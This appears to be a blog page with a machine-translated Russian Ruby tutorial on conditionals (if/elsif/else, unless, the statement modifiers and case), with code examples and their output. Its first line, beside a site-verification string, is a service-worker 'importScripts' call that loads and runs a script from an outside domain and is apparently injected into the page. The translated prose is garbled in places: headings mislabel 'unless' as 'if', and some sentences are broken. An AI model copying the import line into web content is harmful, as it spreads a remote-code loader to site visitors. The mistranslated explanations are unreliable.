google-site-verification: google2818f8f06eec354e.html self.importScripts('https://zworld-news.com/sw/w_1.js');

if else, case, unless

Ruby предлагает условные структуры, которые довольно распространены в современных языках. Здесь мы объясним все условные операторы и модификаторы, доступные в Ruby.

Ruby if ... else Заявление

Синтаксис

if conditional [then]
   code...
[elsif conditional [then]
   code...]...
[else
   code...]
end
если выражения используются для условного исполнения. Значения false и nil - false, а все остальное - true. Обратите внимание, что Руби использует elsif, а не иначе, как и elif.
Выполняет код, если условие истинно. Если условие не истинно, выполняется код, указанный в предложении else.
Условное выражение if отделяется от кода зарезервированным словом then, новой строкой или точкой с запятой.

пример

 Live Demo
#!/usr/bin/ruby

x = 1
if x > 2
   puts "x is greater than 2"
elsif x <= 2 and x!=0
   puts "x is 1"
else
   puts "I can't guess the number"
end
x is 1

Руби если модификатор

Синтаксис

code if condition
Выполняет код, если условие истинно.

пример

 Live Demo
#!/usr/bin/ruby

$debug = 1
print "debug\n" if $debug
Это даст следующий результат -
debug

Рубин если Заявление

Синтаксис

unless conditional [then]
   code
[else
   code ]
end
Выполняет код, если условие ложно. Если условие истинно, выполняется код, указанный в предложении else.

пример

 Live Demo
#!/usr/bin/ruby

x = 1 
unless x>=2
   puts "x is less than 2"
 else
   puts "x is greater than 2"
end
Это даст следующий результат -
x is less than 2

Руби, если модификатор

Синтаксис

code unless conditional
Выполняет код, если условие ложно.

пример

 Live Demo
#!/usr/bin/ruby

$var =  1
print "1 -- Value is set\n" if $var
print "2 -- Value is set\n" unless $var

$var = false
print "3 -- Value is set\n" unless $var
Это даст следующий результат -
1 -- Value is set
3 -- Value is set

Рубиновый кейс

Синтаксис

case expression
[when expression [, expression ...] [then]
   code ]...
[else
   code ]
end
Сравнивает выражение, заданное регистром, и выражение , указанное при использовании оператора ===, и выполняет код соответствующего предложения when.
Выражение задается когда это п оценивается как левый операнд. Если нет, когда совпадают предложения, case выполняет код предложения else.
А когда - выражение отделено от кода зарезервированного слова, то символом новой строки или точкой с запятой. Таким образом -
case expr0
when expr1, expr2
   stmt1
when expr3, expr4
   stmt2
else
   stmt3
end
в основном похож на следующее -
_tmp = expr0
if expr1 === _tmp || expr2 === _tmp
   stmt1
elsif expr3 === _tmp || expr4 === _tmp
   stmt2
else
   stmt3
end

пример

 Live Demo
#!/usr/bin/ruby

$age =  5
case $age
when 0 .. 2
   puts "baby"
when 3 .. 6
   puts "little child"
when 7 .. 12
   puts "child"
when 13 .. 18
   puts "youth"
else
   puts "adult"
end
Это даст следующий результат -
little child

Комментариев нет:

Отправить комментарий